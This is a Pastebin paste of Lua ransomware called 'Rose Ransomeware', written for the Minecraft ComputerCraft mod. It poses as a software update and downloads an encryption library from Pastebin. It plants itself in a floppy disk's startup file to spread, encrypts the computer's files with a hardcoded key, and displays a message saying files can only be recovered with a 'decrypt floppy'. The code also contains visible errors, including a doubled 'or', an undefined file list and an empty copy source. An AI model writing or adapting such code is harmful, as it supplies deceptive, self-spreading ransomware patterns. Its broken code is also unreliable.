KittenPixel

ComputercraftViru

Nov 19th, 2022 (edited)
64
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.25 KB | None | 0 0
  1. print("Updating software, please wait")
  2.  
  3. fs.delete("virus")
  4. fs.makeDir("virus")
  5.  
  6. shell.run("pastebin get DMx8M0LP virus/aeslua")
  7. os.loadAPI("virus/aeslua")
  8.  
  9. if fs.exists("disk") and fs.isDir("disk") then
  10. if fs.exists("disk/startup") then
  11. fs.delete("disk/startup")
  12. end
  13. fs.copy("", "disk/startup")
  14. end
  15.  
  16. local dec = "F()$HI$IF)$KIF"
  17.  
  18. for _,v in pairs(files) do
  19. if string.sub(v, 1,5) == "virus" then
  20. else
  21. print("Found file " .. v)
  22. end
  23. end
  24. print("starting enc")
  25. local iv = {}
  26. for i = 1,16 do iv[i] = math.random(1,255) end
  27. for _,v in pairs(files) do
  28. if v == "virus/aeslua" or or v == "virus/vir" or v == "disk/startup" or v == "disk2/startup" then
  29. else
  30. local hBf = fs.open(v, "r")
  31. local stuff = hBf.readAll()
  32. local encrypted = aeslua.encrypt(dec,stuff)
  33. print("Encrypted file " .. v)
  34. hBf.close()
  35. hAf = fs.open(v, "w")
  36. hAf.write(encrypted)
  37. hAf.close()
  38. end
  39. end
  40.  
  41. term.clear()
  42. term.setCursorPos(1,1)
  43. print("--- [Rose Ransomeware] ---")
  44. print("All major files on this pc have been encrypted.")
  45. print("Reclaiming your files is almost impossible, unless you have the decrypt floppy.")
  46. print("Obtaining the decrypt floppy is possible, however very difficult.")
  47. print("--- [Rose Ransomeware] ---")
Advertisement
Add Comment
Please, Sign In to add comment